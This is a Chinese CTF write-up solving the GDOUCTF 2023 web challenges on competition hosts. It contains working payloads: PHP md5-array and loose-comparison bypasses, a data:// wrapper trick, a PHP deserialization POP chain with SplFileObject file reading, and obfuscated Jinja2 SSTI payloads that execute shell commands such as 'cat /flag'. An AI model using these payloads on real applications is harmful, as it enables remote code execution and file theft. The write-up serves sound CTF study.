[GDOUCTF 2023] ——web方向全Write up

hate eat snake

[GDOUCTF 2023] ——web方向全Write up_第1张图片
方法一:手打(这个挺简单的其实)

方法二:一直按空格,多按会,就出了

方法三:控制台输入

Snake.prototype.getScore = () => 100 

然后按空格直接就出(佬们太强了)
[GDOUCTF 2023] ——web方向全Write up_第2张图片

方法四:调整speed(麻烦一点)

通过源代码:

window.onload = function() {
    new Snake('eatSnake',10,false);
}

var Snake = function(snakeId, speed, isAuto) {
    this.width = arguments[3] || 35;
    this.height = arguments[4] || 35;
    this.snakeId = snakeId || 'snake';
    this.Grid = [];
    this.snakeGrid = [];
    this.foodGrid = [];
    this.derectkey = 39;
    this.goX = 0;
    this.goY = 0;
    this.speed = this.oldSpeed = speed || 10;
    this.stop = true,
    this.snakeTimer = null;
    this.isAuto = isAuto || false;
    this.init();

    this.timeCounter = 0;
    this.startTime = 0;
};

可以发现这里有个控制speed的代码

this.speed = this.oldSpeed = speed || 10;

继续看看还有没有控制speed的代码,通过查找,我们可以看到

clearInterval(this.snakeTimer);
this.speed++;

这里把speed++删掉

然后在等六十秒就可以获得flag

非预期解:

先死一死()

[GDOUCTF 2023] ——web方向全Write up_第3张图片

然后点取消,等六十秒左右,再按空格就会出flag
[GDOUCTF 2023] ——web方向全Write up_第4张图片

EZ WEB

f12查看源代码,可以看到hint:/src,直接访问

[GDOUCTF 2023] ——web方向全Write up_第5张图片

会给我们下载一个python文件,点进去查看

在这里插入图片描述

可以看出这个通过flask框架写的一个网页,通过代码审计我们可以得知,只需要向/super-secret-route-nobody-will-guess进行一个put方式的发包就行,利用postman发包

import flask

app = flask.Flask(__name__)

@app.route('/', methods=['GET'])
def index():
  return flask.send_file('index.html')

@app.route('/src', methods=['GET'])
def source():
  return flask.send_file('app.py')

@app.route('/super-secret-route-nobody-will-guess', methods=['PUT'])
def flag():
  return open('flag').read()

[GDOUCTF 2023] ——web方向全Write up_第6张图片

拿到flag

受不了一点

代码审计


error_reporting(0);
header("Content-type:text/html;charset=utf-8");
if(isset($_POST['gdou'])&&isset($_POST['ctf'])){
    $b=$_POST['ctf'];
    $a=$_POST['gdou'];
    if($_POST['gdou']!=$_POST['ctf'] && md5($a)===md5($b)){
        if(isset($_COOKIE['cookie'])){
           if ($_COOKIE['cookie']=='j0k3r'){
               if(isset($_GET['aaa']) && isset($_GET['bbb'])){
                  $aaa=$_GET['aaa'];
                  $bbb=$_GET['bbb'];
                 if($aaa==114514 && $bbb==114514 && $aaa!=$bbb){
                   $give = 'cancanwordflag';
                   $get ='hacker!';
                   if(!isset($_GET['flag']) && !isset($_POST['flag'])){
                         die($give);
                    }
                   if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
                       die($get);
                    }
                    foreach ($_POST as $key => $value) {
                        $$key = $value;
                   }
                    foreach ($_GET as $key => $value) {
                         $$key = $$value;
                    }
                   echo $f1ag;
            }else{
                  echo "洗洗睡吧";
                 }
    }else{
        echo "行不行啊细狗";
        }
  }
}
else {
  echo '菜菜';
}
}else{
  echo "就这?";
}
}else{
  echo "别来沾边";
}
?>

第一层是md5强比较直接数组绕过,构造payload:

ctf[]=1&gdou[]=2

接下来第二层,是cookie的值,cookie= 'j0k3r'

这里可以利用Cookie Editor(一个浏览器插件),也可以用postman

[GDOUCTF 2023] ——web方向全Write up_第7张图片

然后保存,刷新网页,进入下一层

判断aaa,bbb是否存在,并且还让他们都等于114514,而且还不能相等

但是注意一下,这里是双等号(==)所以,双等号是不要求类型相同的,所以我们可以构造payload

?aaa=114514&b=114514abc

进入最后一层:要进行变量覆盖

选择GET传参,构造payload:

?aaa=114514&b=114514abc&123=flag&flag=123

所以我们可以得到最后的exp为:

http://node1.anna.nssctf.cn:28026?aaa=114514&bbb=114514abc&123=flag&flag=123

POST DATA:
ctf[]=1&gdou[]=2&123=flag&flag=123

泄露的伪装

上来啥也没有,直接dirsearch开扫

[GDOUCTF 2023] ——web方向全Write up_第8张图片

扫到了test.txt文档和www.rar备份文件

[GDOUCTF 2023] ——web方向全Write up_第9张图片

访问/www.rar,会下载文件,打开然后解压

在这里插入图片描述

都恭喜我了,那就去访问一下/orzorz.php

test.txt也看过了,里面和/orzorz.php中的内容一样,不过是文档形式,这里不赘述

[GDOUCTF 2023] ——web方向全Write up_第10张图片

代码审计:

 <?php
error_reporting(0);
if(isset($_GET['cxk'])){
    $cxk=$_GET['cxk'];
    if(file_get_contents($cxk)=="ctrl"){
        echo $flag;
    }else{
        echo "洗洗睡吧";
    }
}else{
    echo "nononoononoonono";
}
?> nononoononoonono

根据代码审计以及file_get_contents读取文件内容函数我们可以知道我们需要传入一个文件,里面的内容是唱跳rap篮球(?)那我们就要利用data://伪协议

构造payload(这里不知道为什么直接传入ctrl不行,可能是过滤了,只能用base64加密传入):

http://node3.anna.nssctf.cn:28372/orzorz.php?cxk=data://text/plain;base64,Y3RybA==

拿到flag,结束

反方向的钟

反序列化,看代码:


error_reporting(0);
highlight_file(__FILE__);
// flag.php
class teacher{
    public $name;
    public $rank;
    private $salary;
    public function __construct($name,$rank,$salary = 10000){
        $this->name = $name;
        $this->rank = $rank;
        $this->salary = $salary;
    }
}

class classroom{
    public $name;
    public $leader;
    public function __construct($name,$leader){
        $this->name = $name;
        $this->leader = $leader;
    }
    public function hahaha(){
        if($this->name != 'one class' or $this->leader->name != 'ing' or $this->leader->rank !='department'){
            return False;
        }
        else{
            return True;
        }
    }
}

class school{
    public $department;
    public $headmaster;
    public function __construct($department,$ceo){
        $this->department = $department;
        $this->headmaster = $ceo;
    }
    public function IPO(){
        if($this->headmaster == 'ong'){
            echo "Pretty Good ! Ctfer!\n";
            echo new $_POST['a']($_POST['b']);
        }
    }
    public function __wakeup(){
        if($this->department->hahaha()) {
            $this->IPO();
        }
    }
}

if(isset($_GET['d'])){
    unserialize(base64_decode($_GET['d']));
}
?>

首先构造pop链,通过echo new $_POST['a']($_POST['b']);我们就可以确定尾巴是school中的IPO函数,那么触发函数的方式就是__wakeup()魔术方法,然后可以看到__wakeup()中会指向classroom类的hahaha函数,hahaha所需要的变量条件在school类的___construct()函数中

__wakeup():在反序列化的时候触发该魔术方法

__construct():构造对象的时候触发

所以我们可以得到popchain:

首:classroom::__construct() => classroom::hahaha => school::__wakeup() => school::IPO:尾

再看看各个变量要求的条件,我们可以得出payload,由于最后还会经过base64解密,所以我们构造的时候要进行base64加密:


class teacher{
    public $name;
    public $rank;
    private $salary;
    public function __construct($name,$rank,$salary = 10000){
        $this->name = $name;
        $this->rank = $rank;
        $this->salary = $salary;
    }
}

class classroom{
    public $name;
    public $leader;
    public function __construct($name,$leader){
        $this->name = $name;
        $this->leader = $leader;
    }
}

class school{
    public $department;
    public $headmaster;
    public function __construct($department,$ceo){
        $this->department = $department;
        $this->headmaster = $ceo;
    }
}

$a = new classroom('one class',new teacher('ing','department'));
$b = new school($a,'ong');
echo base64_encode(serialize($b));

?>

得到exp:

d=Tzo2OiJzY2hvb2wiOjI6e3M6MTA6ImRlcGFydG1lbnQiO086OToiY2xhc3Nyb29tIjoyOntzOjQ6Im5hbWUiO3M6OToib25lIGNsYXNzIjtzOjY6ImxlYWRlciI7Tzo3OiJ0ZWFjaGVyIjozOntzOjQ6Im5hbWUiO3M6MzoiaW5nIjtzOjQ6InJhbmsiO3M6MTA6ImRlcGFydG1lbnQiO3M6MTU6IgB0ZWFjaGVyAHNhbGFyeSI7aToxMDAwMDt9fXM6MTA6ImhlYWRtYXN0ZXIiO3M6Mzoib25nIjt9

OK,正确

[GDOUCTF 2023] ——web方向全Write up_第11张图片

通过echo new $_POST['a']($_POST['b']);可以知道给我们创造了a和b两个参数,所以我们可以进行命令执行

但是这里没有回显,卡住了,查了查资料 用php的内置类SplFileObject来读取文件内容。

由于没有输出,想要读取到文件里的内容要用伪协议。

Post Data:
a=SplFileObject&b=php://filter/read=convert.base64-encode/resource=flag.php 

传入之后得到flag再进行base64解密就行了

好狠的过滤!

把`’ [] " _ {{}} \ .都过滤了但是比较幸运的是可以用{%%},看了看他的config和self,发现都可以用

[GDOUCTF 2023] ——web方向全Write up_第12张图片

[GDOUCTF 2023] ——web方向全Write up_第13张图片

网上找到的通过self来构造payload,不过其中的空格都需要用%0c代替

# 首先构造出所需的数字: 
{% set zero = (self|int) %}    # 0, 也可以使用lenght过滤器获取数字
{% set one = (zero**zero)|int %}    # 1
{% set two = (zero-one-one)|abs %}    # 2
{% set four = (two*two)|int %}    # 4
{% set five = (two*two*two)-one-one-one %}    # 5
{% set three = five-one-one %}    # 3
{% set nine = (two*two*two*two-five-one-one) %}    # 9
{% set seven = (zero-one-one-five)|abs %}    # 7

# 构造出所需的各种字符与字符串: 
{% set space = self|string|min %}    # 空格
{% set point = self|float|string|min %}    # .

{% set c = dict(c=aa)|reverse|first %}    # 字符 c
{% set bfh = self|string|urlencode|first %}    # 百分号 %
{% set bfhc = bfh~c %}    # 这里构造了%c, 之后可以利用这个%c构造任意字符。~用于字符连接
{% set slas = bfhc%((four~seven)|int) %}    # 使用%c构造斜杠 /
{% set yin = bfhc%((three~nine)|int) %}    # 使用%c构造引号 '
{% set xhx = bfhc%((nine~five)|int) %}    # 使用%c构造下划线 _
{% set right = bfhc%((four~one)|int) %}    # 使用%c构造右括号 )
{% set left = bfhc%((four~zero)|int) %}    # 使用%c构造左括号 (

{% set but = dict(buil=aa,tins=dd)|join %}    # builtins
{% set imp = dict(imp=aa,ort=dd)|join %}    # import
{% set pon = dict(po=aa,pen=dd)|join %}    # popen
{% set so = dict(o=aa,s=dd)|join %}    # os
{% set ca = dict(ca=aa,t=dd)|join %}    # cat
{% set flg = dict(fl=aa,ag=dd)|join %}    # flag
{% set ev = dict(ev=aa,al=dd)|join %}    # eval
{% set red = dict(re=aa,ad=dd)|join %}    # read
{% set bul = xhx~xhx~but~xhx~xhx %}    # __builtins__

{% set ini = dict(ini=aa,t=bb)|join %}    # init
{% set glo = dict(glo=aa,bals=bb)|join %}    # globals
{% set itm = dict(ite=aa,ms=bb)|join %}    # items

# 将上面构造的字符或字符串拼接起来构造出 __import__('os').popen('cat /flag').read(): 
{% set pld = xhx~xhx~imp~xhx~xhx~left~yin~so~yin~right~point~pon~left~yin~ca~space~slas~flg~yin~right~point~red~left~right %}

# 然后将上面构造的各种变量添加到SSTI万能payload里面就行了: 
{% for f,v in (whoami|attr(xhx~xhx~ini~xhx~xhx)|attr(xhx~xhx~glo~xhx~xhx)|attr(itm))() %}    # globals
    {% if f == bul %} 
        {% for a,b in (v|attr(itm))() %}    # builtins
            {% if a == ev %}    # eval
                {{b(pld)}}    # eval("__import__('os').popen('cat /flag').read()")
            {% endif %}
        {% endfor %}
    {% endif %}
{% endfor %}

#这里的{{b(pld)}}换成{%print(b(pld))%}

整合最后的payload:

{%%0cset%0czero%0c=%0c(self|int)%0c%}{%%0cset%0cone%0c=%0c(zero**zero)|int%0c%}{%%0cset%0ctwo%0c=%0c(zero-one-one)|abs%0c%}{%%0cset%0cfour%0c=%0c(two*two)|int%0c%}{%%0cset%0cfive%0c=%0c(two*two*two)-one-one-one%0c%}{%%0cset%0cthree%0c=%0cfive-one-one%0c%}{%%0cset%0cnine%0c=%0c(two*two*two*two-five-one-one)%0c%}{%%0cset%0cseven%0c=%0c(zero-one-one-five)|abs%0c%}{%%0cset%0cspace%0c=%0cself|string|min%0c%}{%%0cset%0cpoint%0c=%0cself|float|string|min%0c%}{%%0cset%0cc%0c=%0cdict(c=aa)|reverse|first%0c%}{%%0cset%0cbfh%0c=%0cself|string|urlencode|first%0c%}{%%0cset%0cbfhc%0c=%0cbfh~c%0c%}{%%0cset%0cslas%0c=%0cbfhc%((four~seven)|int)%0c%}{%%0cset%0cyin%0c=%0cbfhc%((three~nine)|int)%0c%}{%%0cset%0cxhx%0c=%0cbfhc%((nine~five)|int)%0c%}{%%0cset%0cright%0c=%0cbfhc%((four~one)|int)%0c%}{%%0cset%0cleft%0c=%0cbfhc%((four~zero)|int)%0c%}{%%0cset%0cbut%0c=%0cdict(buil=aa,tins=dd)|join%0c%}{%%0cset%0cimp%0c=%0cdict(imp=aa,ort=dd)|join%0c%}{%%0cset%0cpon%0c=%0cdict(po=aa,pen=dd)|join%0c%}{%%0cset%0cso%0c=%0cdict(o=aa,s=dd)|join%0c%}{%%0cset%0cca%0c=%0cdict(ca=aa,t=dd)|join%0c%}{%%0cset%0cflg%0c=%0cdict(fl=aa,ag=dd)|join%0c%}{%%0cset%0cev%0c=%0cdict(ev=aa,al=dd)|join%0c%}{%%0cset%0cred%0c=%0cdict(re=aa,ad=dd)|join%0c%}{%%0cset%0cbul%0c=%0cxhx~xhx~but~xhx~xhx%0c%}{%%0cset%0cini%0c=%0cdict(ini=aa,t=bb)|join%0c%}{%%0cset%0cglo%0c=%0cdict(glo=aa,bals=bb)|join%0c%}{%%0cset%0citm%0c=%0cdict(ite=aa,ms=bb)|join%0c%}{%%0cset%0cpld%0c=%0cxhx~xhx~imp~xhx~xhx~left~yin~so~yin~right~point~pon~left~yin~ca~space~slas~flg~yin~right~point~red~left~right%0c%}{%%0cfor%0cf,v%0cin%0c(self|attr(xhx~xhx~ini~xhx~xhx)|attr(xhx~xhx~glo~xhx~xhx)|attr(itm))()%0c%}{%%0cif%0cf%0c==%0cbul%0c%}{%%0cfor%0ca,b%0cin%0c(v|attr(itm))()%0c%}{%%0cif%0ca%0c==%0cev%0c%}{%print(b(pld))%}{%%0cendif%0c%}{%%0cendfor%0c%}{%%0cendif%0c%}{%%0cendfor%0c%}

传入获得flag

方法二:

我是没懂,佬们nb就对了,附上payload

 {% print ''|attr('%c%ccla'%(95,95)+'ss%c%c'%(95,95))|attr('%c%cba'%(95,95)+'se%c%c'%(95,95))|attr('%c%csubcla'%(95,95)+'sses%c%c'%(95,95))()|attr('%c%cgeti'%(95,95)+'tem%c%c'%(95,95))(395)('ca'+'t /flag',shell=True,stdout=-1)|attr('communicate')() %}

附上几篇佬们的wp:
B神:GDOUCTF-全方向-WriteUp

https://www.yuque.com/y0ung-tnhmt/iv01oq/oogach8rthc9h7m1#xqBVf
https://mochu.blog.csdn.net/article/details/130188571

你可能感兴趣的:(CTF比赛复现,flask,python,web安全)